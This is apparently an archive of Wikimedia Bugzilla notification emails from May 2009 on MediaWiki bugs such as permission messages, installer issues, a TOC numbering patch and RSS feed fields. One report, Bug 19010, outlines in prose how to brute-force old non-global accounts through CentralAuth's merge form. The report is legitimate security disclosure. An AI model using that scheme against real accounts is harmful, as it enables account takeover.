[Bug 8812] Categories red links vs. $wgGroupPermissions
https://bugzilla.wikimedia.org/show_bug.cgi?id=8812 jida...@jidanni.org changed: What|Removed |Added URL||http://wiki.dreamhost.com/in ||dex.php?title=Category:Squir ||relMail&action=edit Severity|minor |normal Component|Page rendering |Page editing OS/Version|Linux |All Priority|Low |Normal Platform|PC |All Summary|Special:Categories red links|Categories red links vs. |vs. $wgGroupPermissions |$wgGroupPermissions Version|1.9.0 |1.16-svn --- Comment #2 from jida...@jidanni.org 2009-05-31 06:37:47 UTC --- As of 1.16, the user will at most be lead to a page with bug 17630. He will no longer suffer the following scenario: Allow us to share the pain of a different example. Visit http://wiki.dreamhost.com/Installing_your_own_SquirrelMail at the bottom click on the juicy category which happens to be linked as so http://wiki.dreamhost.com/index.php?title=Category:SquirrelMail&action=edit Permission error You do not have permission to do that, for the following reason: > Do what? All the user did was click on a link. > That it was a boobytrapped action=edit link is not something the user should > have to know The action you have requested is limited to users in the group user. > "What action? Clicking?" the user wonders. Retrieved from "http://wiki.dreamhost.com/Category:SquirrelMail"; >Which in fact is a much more polite link, despite bug 17630 And the worst of all, the categories don't even show at the bottom. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 16257] install script and text browser support
https://bugzilla.wikimedia.org/show_bug.cgi?id=16257 jida...@jidanni.org changed: What|Removed |Added CC||jida...@jidanni.org Version|1.14-svn|1.16-svn --- Comment #1 from jida...@jidanni.org 2009-05-31 01:22:23 UTC --- Is everybody sure config/index.php should use javascript in the first place? One might have javascript turned off when administrating web sites, especially on forms like this that ask for root passwords. And if there were no http://en.wikipedia.org/wiki/Wikipedia:HiddenStructure like tricks, no "guts (non relevant database questions) would spill out" when stylesheets are disabled. (But maybe that would need another form submit...) P.S. there are two require_once( "$IP/install-utils.inc" ); two install_version_checks(); and maybe not all of the several error_reporting( E_ALL ); need to be repeated. Also in the produced LocalSettings.php should add a comment about what $wgSecretKey is all about, and what tampering with it will cause. http://www.mediawiki.org/wiki/Manual:$wgSecretKey doesn't even say the consequences of tampering with it. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 16257] install script and text browser support
https://bugzilla.wikimedia.org/show_bug.cgi?id=16257 jida...@jidanni.org changed: What|Removed |Added Blocks||17762 -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 17762] Show/hide further email conf. options depending on the E-mail features (global) option
https://bugzilla.wikimedia.org/show_bug.cgi?id=17762 jida...@jidanni.org changed: What|Removed |Added CC||jida...@jidanni.org Depends on||16257 --- Comment #4 from jida...@jidanni.org 2009-05-31 01:21:09 UTC --- I haven't tried the patch, but I note currently the line > "Enabled for changes to user discussion pages, and to pages on watchlists > (not recommended for large wikis)", "radio", "enotif_allpages" is too long and knocks its fellow radio buttons to the left, so they don't line up with the rest of the form. This is because config/index.php has developed in the wrong direction. You know it when you see things like "/* IE hack */" I would rip out all the complexity and just use old fashioned HTML strict and s. E-mail notification about changes: * Disabled * Enabled for changes to user discussion pages only * Enabled for changes ... -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 13230] Split web-based upgrade from install
https://bugzilla.wikimedia.org/show_bug.cgi?id=13230 jida...@jidanni.org changed: What|Removed |Added CC||jida...@jidanni.org Version|1.12-svn|1.16-svn --- Comment #1 from jida...@jidanni.org 2009-05-31 00:33:13 UTC --- The only documented upgrade procedure I can find is the one mentioned in http://www.mediawiki.org/wiki/Manual:Upgrading It does say "The preferred method of performing the update is using the command-line maintenance script, although it is also possible to re-run the web-based installer." But maybe that's not true anymore. Actually what I'm hoping for is a cleaner way to http://www.mediawiki.org/wiki/Manual:Wiki_family#Adding_new_wikis without needing to remove a production ../LocalSettings.php . -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19017] TOC level calculation error in an odd case
https://bugzilla.wikimedia.org/show_bug.cgi?id=19017 --- Comment #1 from Brad Jorsch 2009-05-31 00:29:25 UTC --- Created an attachment (id=6173) --> (https://bugzilla.wikimedia.org/attachment.cgi?id=6173) Patch against r51213 to fix the bug and remove the obsolete conditional -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19017] New: TOC level calculation error in an odd case
https://bugzilla.wikimedia.org/show_bug.cgi?id=19017 Summary: TOC level calculation error in an odd case Product: MediaWiki Version: 1.16-svn Platform: All OS/Version: All Status: NEW Keywords: patch Severity: enhancement Priority: Normal Component: Page rendering AssignedTo: wikibugs-l@lists.wikimedia.org ReportedBy: b-jor...@northwestern.edu Created an attachment (id=6172) --> (https://bugzilla.wikimedia.org/attachment.cgi?id=6172) Minimal patch against r51213 to fix the bug The code that lays out the TOC corrects non-continuous sequences, for example a level-2 heading followed by a level-4. In looking over that code to answer a question as to how exactly that works, I found a bug in an odd case. This wikitext: === A === B = C = == D == Generates this TOC layout: 1 A 1.1 B 1.1.1 C 1.1.2 D By any logic, it should do this instead: 1 A 1.1 B 1.1.1 C 2 D The attached patch fixes this. This probably makes the special case for $toclevel == 2 && $level <= $levelCount[1] obsolete too, I'll attach that patch momentarily. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 17630] Article.php should check permissions before advising
https://bugzilla.wikimedia.org/show_bug.cgi?id=17630 jida...@jidanni.org changed: What|Removed |Added Summary|Article.php returns |Article.php should check |noarticletext without |permissions before advising |checking| |$wgNamespaceProtection | -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 11177] don't advertise "create account" if not allowed
https://bugzilla.wikimedia.org/show_bug.cgi?id=11177 jida...@jidanni.org changed: What|Removed |Added Severity|enhancement |normal Status|NEW |RESOLVED Component|User login/settings |Page protection Priority|Low |Normal Resolution||DUPLICATE Version|1.10.1 |1.16-svn --- Comment #4 from jida...@jidanni.org 2009-05-30 23:17:45 UTC --- *** This bug has been marked as a duplicate of bug 17630 *** -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 17630] Article.php returns noarticletext without checking $wgNamespaceProtection
https://bugzilla.wikimedia.org/show_bug.cgi?id=17630 --- Comment #2 from jida...@jidanni.org 2009-05-30 23:17:45 UTC --- *** Bug 11177 has been marked as a duplicate of this bug. *** -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 17630] Article.php returns noarticletext without checking $wgNamespaceProtection
https://bugzilla.wikimedia.org/show_bug.cgi?id=17630
jida...@jidanni.org changed:
What|Removed |Added
Version|1.14.0rc1 |1.16-svn
--- Comment #1 from jida...@jidanni.org 2009-05-30 23:14:56 UTC ---
More info:
In LocalSettings.php, do
foreach(array('createaccount','edit','createpage','createtalk')as
$i){$wgGroupPermissions['*'][$i]=false;};
Now browse title=User_talk:NoPageHereYet&action=edit . You will encounter this
message:
'nocreatetext' => '{{SITENAME}} has restricted the ability to create new
pages. You can go back and edit an existing page, or
[[Special:UserLogin|log in or create an account]].',
However such blanket statements need to check first if the user can
indeed edit an existing page, or create an account.
Now browse just title=User_talk:NoPageHereYet . You will get
'noarticletext' => 'There is currently no text in this page. You can
[[Special:Search/{{PAGENAME}}|search for this page title]] in other
pages,
[{{fullurl:Special:Log|page={{urlencode:{{FULLPAGENAME}}
search the related logs], or [{{fullurl:{{FULLPAGENAME}}|action=edit}}
edit this page].',
Here again, they might not have permission to "edit this page", so there
ought to be a check before saying so.
--
Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email
--- You are receiving this mail because: ---
You are the assignee for the bug.
You are on the CC list for the bug.
___
Wikibugs-l mailing list
Wikibugs-l@lists.wikimedia.org
https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 18005] Requesting to enable FlaggedRevs Patrolling Configuration on es.wikinews
https://bugzilla.wikimedia.org/show_bug.cgi?id=18005 Julian changed: What|Removed |Added CC||julian_past...@hotmail.com --- Comment #4 from Julian 2009-05-30 21:58:51 UTC --- Link to Village Pump discussion is now http://es.wikinews.org/wiki/Wikinoticias:Caf%C3%A9/Archivo/2009/Enero-Junio#Versiones_revisadas_en_wikinoticias.3F due to archiving. Please answer to the bug as soon as possible; it has been already two and a half months. Regards. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19014] message undeletelink give wrong information
https://bugzilla.wikimedia.org/show_bug.cgi?id=19014 Soxred93 changed: What|Removed |Added CC||soxre...@gmail.com Status|NEW |RESOLVED Resolution||FIXED --- Comment #1 from Soxred93 2009-05-30 21:17:52 UTC --- Fixed in r51210 -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19016] New: show [top] anchor links (next to [edit] section links), as an option in prefs
https://bugzilla.wikimedia.org/show_bug.cgi?id=19016 Summary: show [top] anchor links (next to [edit] section links), as an option in prefs Product: MediaWiki Version: unspecified Platform: All OS/Version: All Status: NEW Severity: enhancement Priority: Normal Component: User interface AssignedTo: wikibugs-l@lists.wikimedia.org ReportedBy: stv...@gmail.com Self explanatory. Sometimes checking out sections via TOC requires going back to the TOC. For some of us, scrolling the mousewheel a few times, or click/dragging the vertical scrollbar is *just too hard.* Maybe a keyboard shortcut too. -Steven -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 18957] formatnum works wrong in german
https://bugzilla.wikimedia.org/show_bug.cgi?id=18957 Siebrand changed: What|Removed |Added Status|NEW |RESOLVED Resolution||FIXED --- Comment #6 from Siebrand 2009-05-30 21:01:07 UTC --- Fixed in r51209. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 7346] rss feed item should contain a guid element
https://bugzilla.wikimedia.org/show_bug.cgi?id=7346 Daniel Hazelton changed: What|Removed |Added CC||dhazel...@enter.net Status|RESOLVED|REOPENED Resolution|INVALID | --- Comment #2 from Daniel Hazelton 2009-05-30 20:41:48 UTC --- Resolving this bug as "invalid" is not correct. Yes, the tag is not required, but then, only the , and tags are listed as required by the specification. "This “Global Unique Identifier” allows you to republish or update specific items without duplicating these items in an aggregator. If you change an item without using the element, then the aggregator has no way of determining that the new item is replacing an old item. In that case, the aggregator will retain the old item and the new item, forcing the user to read it twice. If the element exists (and is the same as a previous item’s ) then the aggregator can (at the users option) replace the old item with the new one. If the user has not read the item yet, then all they will see is the updated item. If they have read the old item already, then they can optionally read the update or ignore it." -- http://www.feederreader.com/TechnicalGuides/RSS_Basic.html That is referenced from the current spec, which is apparently housed here: http://cyber.law.harvard.edu/rss/rss.html In other words... Without an "aggregator" has no way to determine whether an individual is new or if it has been seen before. So while not required by the spec, not including it actually is a bug. No major feed that I have been able to find - and that claims to be RSS 2 - omits the tag. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 18793] Free up "Project" as a namespace (for Wikipedia:Projects) by using an alternate token
https://bugzilla.wikimedia.org/show_bug.cgi?id=18793 --- Comment #15 from stevertigo 2009-05-30 20:02:07 UTC --- demon: "Every namespace is given a canonical name to refer to it. 'User', 'MediaWiki' and 'Category' are all canonical names too." Does your particular usage of the term "canonical" follow it's canonical meaning in general English usage? The term "canonical" is only meaningful within the context of a particular language system, to indicate that particular term has dominance in frequency and preference with regard to referencing a particular concept. You appear to be using the term to mean "canonical within MediaWiki's scripted conventions." I am instead suggesting that the term is "canonical within English," and not particularly within MediaWiki or its systems. Putting aside for a moment the fact that the system "English" (and its canon) supersedes MediaWiki's in terms of importance (though a Lojban speaker might consider English inferiour to Lojban) the system called "English Wikipedia" itself does exactly that anyway. demon: "I wish you wouldn't continue to infer that it has anything to do with "poor coding habits," because it doesn't." I may be wrong about this, but I am under the impression that programmers often pride themselves in their capacity to write abstracted functions, such that (ideally) all output can be handled via straight-forward objective abstracted functions. Am I am under the wrong impression in this regard? demon: "'Project' was chosen as the project namespace canonical name because it's sufficiently generic as to what the namespace is for. Granted, it may not have been the best choice, but it's there." I understand that a term may be "sufficiently generic." What I suggest is that you consider that such term is also "sufficiently English" such that English-speaking Wikipedians, not just MediaWiki sysadmins, might want to use it. demon: "As mentioned several times before: even if Project: was changed from the default (which can easily be done, the same process applied to Image -> File could be followed), it would still be retained for back-compat." I understand now that its "easily done" and that the only issue is simple backward compatibility. Is this as relevant to Wikipedia as much as it is to the non-WikiMedia MediaWiki installations? I think its only subjective to state that interwiki issues, particularly non-WikiMedia interwiki issues, are 'preventative,' when there are no actual data on such usage. In any case, changing something obviously means doing it right; gradually and over sufficient time as to allow people to accommodate. -SV -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19015] New: showLogExtract can produce a self link
https://bugzilla.wikimedia.org/show_bug.cgi?id=19015 Summary: showLogExtract can produce a self link Product: MediaWiki Version: unspecified Platform: All OS/Version: All Status: NEW Severity: enhancement Priority: Normal Component: User interface AssignedTo: wikibugs-l@lists.wikimedia.org ReportedBy: umherirrender_de...@web.de Any logevent has a actionlink. It is unnecessary to show a actionlink to the page itself. Please remove these actionlink. Thanks. Example: On Special:Undelete the "Deletion log" shows '(view/restore)' with a link to Special:Undelete with the same options. This is unnecessary. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 10837] Interface "variant" overruling "language" preference [bug in StubUserLang::_newObject()]
https://bugzilla.wikimedia.org/show_bug.cgi?id=10837 Shinjiman changed: What|Removed |Added Status|REOPENED|RESOLVED Resolution||FIXED --- Comment #31 from Shinjiman 2009-05-30 19:50:07 UTC --- Hopefully this was fixed in r51204. Please reopen the bug if the issue still exists. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19014] New: message undeletelink give wrong information
https://bugzilla.wikimedia.org/show_bug.cgi?id=19014 Summary: message undeletelink give wrong information Product: MediaWiki Version: unspecified Platform: All OS/Version: All Status: NEW Severity: enhancement Priority: Normal Component: User interface AssignedTo: wikibugs-l@lists.wikimedia.org ReportedBy: umherirrender_de...@web.de The message 'Undeletelink' says always 'view/restore'. In my opinion a User without the right 'undelete' (but with 'deletedhistory') should have a other message, because he can not 'restore' a deleted page. He can only 'view' them. Thanks. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19013] New: Request for Extension:Collection on hr Wikipedia
https://bugzilla.wikimedia.org/show_bug.cgi?id=19013 Summary: Request for Extension:Collection on hr Wikipedia Product: Wikimedia Version: unspecified Platform: All URL: http://hr.wikipedia.org/ OS/Version: All Status: NEW Severity: enhancement Priority: Normal Component: Site requests AssignedTo: wikibugs-l@lists.wikimedia.org ReportedBy: s...@vip.hr Users expressed wish that they want ability to make a book on Wikipedia as they can on Wikibooks & Wikisource. Their wish, my command :-) -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 18210] Unexpected level in FlaggedRevs on pl.wikipedia
https://bugzilla.wikimedia.org/show_bug.cgi?id=18210 Leinad changed: What|Removed |Added CC||rhals...@wikimedia.org Status|RESOLVED|REOPENED Resolution|INVALID | --- Comment #3 from Leinad 2009-05-30 17:59:30 UTC --- I just found a place where the problem was... Please change in configuration of FlaggedRevs on pl.wiki the following variable: $wgFlaggedRevValues = 1; Reason: on Polish Wikipedia we use only sighted versions, so there is no use showing other levels. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19012] Magic word for user contributions
https://bugzilla.wikimedia.org/show_bug.cgi?id=19012 Soxred93 changed: What|Removed |Added CC||soxre...@gmail.com Status|NEW |RESOLVED Resolution||FIXED --- Comment #1 from Soxred93 2009-05-30 17:27:38 UTC --- Done in r51200 -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19012] New: Magic word for user contributions
https://bugzilla.wikimedia.org/show_bug.cgi?id=19012
Summary: Magic word for user contributions
Product: MediaWiki
Version: unspecified
Platform: All
OS/Version: All
Status: NEW
Severity: enhancement
Priority: Normal
Component: General/Unknown
AssignedTo: wikibugs-l@lists.wikimedia.org
ReportedBy: max.sonne...@gmail.com
Feature request: a magic word to number a users contributions. Example:
{{NUMBEROFCONTRIBUTIONS:Exampleuser}}.
--
Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email
--- You are receiving this mail because: ---
You are the assignee for the bug.
You are on the CC list for the bug.
___
Wikibugs-l mailing list
Wikibugs-l@lists.wikimedia.org
https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19011] New: RSS Recent Changes: New Page feed items are hard to read
https://bugzilla.wikimedia.org/show_bug.cgi?id=19011 Summary: RSS Recent Changes: New Page feed items are hard to read Product: MediaWiki Version: 1.14.0 Platform: All OS/Version: All Status: NEW Severity: enhancement Priority: Normal Component: Special pages AssignedTo: wikibugs-l@lists.wikimedia.org ReportedBy: zoom...@runbox.com When a new page is created the resulting rss post is hard to read because it is displayed in its source form (especially with the mediawiki extension). As changes are displayed as pretty (and useful) diffs, why can't new pages be displayed as they appear on the wiki? -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 959] Check email addresses before storing in database for compliance with RFC 2822
https://bugzilla.wikimedia.org/show_bug.cgi?id=959 Happy-melon changed: What|Removed |Added CC||happy-me...@live.com Resolution|WORKSFORME |WONTFIX --- Comment #36 from Happy-melon 2009-05-30 14:12:08 UTC --- The current code does not satisfy the original bug request, hence WONTFIX, not WORKSFORME. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 18955] Abuse Filter reports empty "old_wikitext" in namespace==6 (images), while in fact there is old wikitext
https://bugzilla.wikimedia.org/show_bug.cgi?id=18955 --- Comment #1 from fvanlam...@planet.nl 2009-05-30 14:54:49 UTC --- Addition: The user that edited the above diff ([[nl:User:Multichill]]) suggested that the error may have been caused by his working from toolserver. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 18524] Preferences: unify filter options of recent changes, new pages, watchlist, rechent changes linked,
https://bugzilla.wikimedia.org/show_bug.cgi?id=18524 Gregor Hagedorn changed: What|Removed |Added CC||g.m.haged...@gmail.com --- Comment #3 from Gregor Hagedorn 2009-05-30 13:20:18 UTC --- Aaron suggests on https://bugzilla.wikimedia.org/show_bug.cgi?id=18988 that that bug may be related to the current reworking of user preferences, please verify. Thanks a lot! -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 454] E-mail notification (EN) for page changes of watch-listed pages, user_talk page, and for new pages
https://bugzilla.wikimedia.org/show_bug.cgi?id=454 Bug 454 depends on bug 959, which changed state. Bug 959 Summary: Check email addresses before storing in database for compliance with RFC 2822 https://bugzilla.wikimedia.org/show_bug.cgi?id=959 What|Old Value |New Value Status|REOPENED|RESOLVED Resolution||WORKSFORME -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 866] EConfirm (EC): e-mail address confirmation by sending a link comprising a token to the unconfirmed mailaddress
https://bugzilla.wikimedia.org/show_bug.cgi?id=866 Bug 866 depends on bug 959, which changed state. Bug 959 Summary: Check email addresses before storing in database for compliance with RFC 2822 https://bugzilla.wikimedia.org/show_bug.cgi?id=959 What|Old Value |New Value Status|REOPENED|RESOLVED Resolution||WORKSFORME -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 2439] e-mail confirmation error message issues
https://bugzilla.wikimedia.org/show_bug.cgi?id=2439 Bug 2439 depends on bug 959, which changed state. Bug 959 Summary: Check email addresses before storing in database for compliance with RFC 2822 https://bugzilla.wikimedia.org/show_bug.cgi?id=959 What|Old Value |New Value Status|REOPENED|RESOLVED Resolution||WORKSFORME -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 1932] ENotif/EConfirm & further enhancements (tracking)
https://bugzilla.wikimedia.org/show_bug.cgi?id=1932 Bug 1932 depends on bug 959, which changed state. Bug 959 Summary: Check email addresses before storing in database for compliance with RFC 2822 https://bugzilla.wikimedia.org/show_bug.cgi?id=959 What|Old Value |New Value Status|REOPENED|RESOLVED Resolution||WORKSFORME -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 959] Check email addresses before storing in database for compliance with RFC 2822
https://bugzilla.wikimedia.org/show_bug.cgi?id=959 Gregor Hagedorn changed: What|Removed |Added CC||g.m.haged...@gmail.com Status|REOPENED|RESOLVED Resolution||WORKSFORME --- Comment #35 from Gregor Hagedorn 2009-05-30 13:14:18 UTC --- Mediawiki functionality being tested without a solution for 5 years now after the (very) potential security thread was raised, fully agreeing with comment #33, I propose to close the bug: works for me. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 18988] ConfirmAccount broken with newest MW, both from SVN
https://bugzilla.wikimedia.org/show_bug.cgi?id=18988 Gregor Hagedorn changed: What|Removed |Added Component|[other] |User preferences Product|MediaWiki extensions|MediaWiki Version|any |1.16-svn --- Comment #2 from Gregor Hagedorn 2009-05-30 13:08:28 UTC --- According to Aaron, trying to re-assign to mediawiki main instead of extensions. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19008] Search index outdated (articles 9 months), became worse with LuceneSearch 2.1 activation
https://bugzilla.wikimedia.org/show_bug.cgi?id=19008 Robert Stojnic changed: What|Removed |Added Status|NEW |RESOLVED Resolution||FIXED --- Comment #4 from Robert Stojnic 2009-05-30 13:06:06 UTC --- Updated and should keep updating fine from now. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19009] Typo in 'stabilization-text'
https://bugzilla.wikimedia.org/show_bug.cgi?id=19009 Aaron Schulz changed: What|Removed |Added Status|NEW |RESOLVED Resolution||FIXED --- Comment #1 from Aaron Schulz 2009-05-30 12:16:52 UTC --- fixed in r51194 -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19010] New: It is possible to make brute force login attack to not global account
https://bugzilla.wikimedia.org/show_bug.cgi?id=19010 Summary: It is possible to make brute force login attack to not global account Product: MediaWiki extensions Version: any Platform: All OS/Version: All Status: NEW Severity: major Priority: Normal Component: CentralAuth AssignedTo: wikibugs-l@lists.wikimedia.org ReportedBy: xa...@wp.pl This is a security risk for old (not used for now) administrator accounts! An attack schema on an not global account called "nnn" on the wiki "iii": 1) I create an account called "nnn" at several wikis 2) I convert an account "nnn" to global account 3) I tries to join the "nnn" in the wiki "iii" to my global account - no restrictions on the number of unsuccessful attempts, no captcha -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 16290] Creation of namespace 'Portal' at bar.wikipedia.org
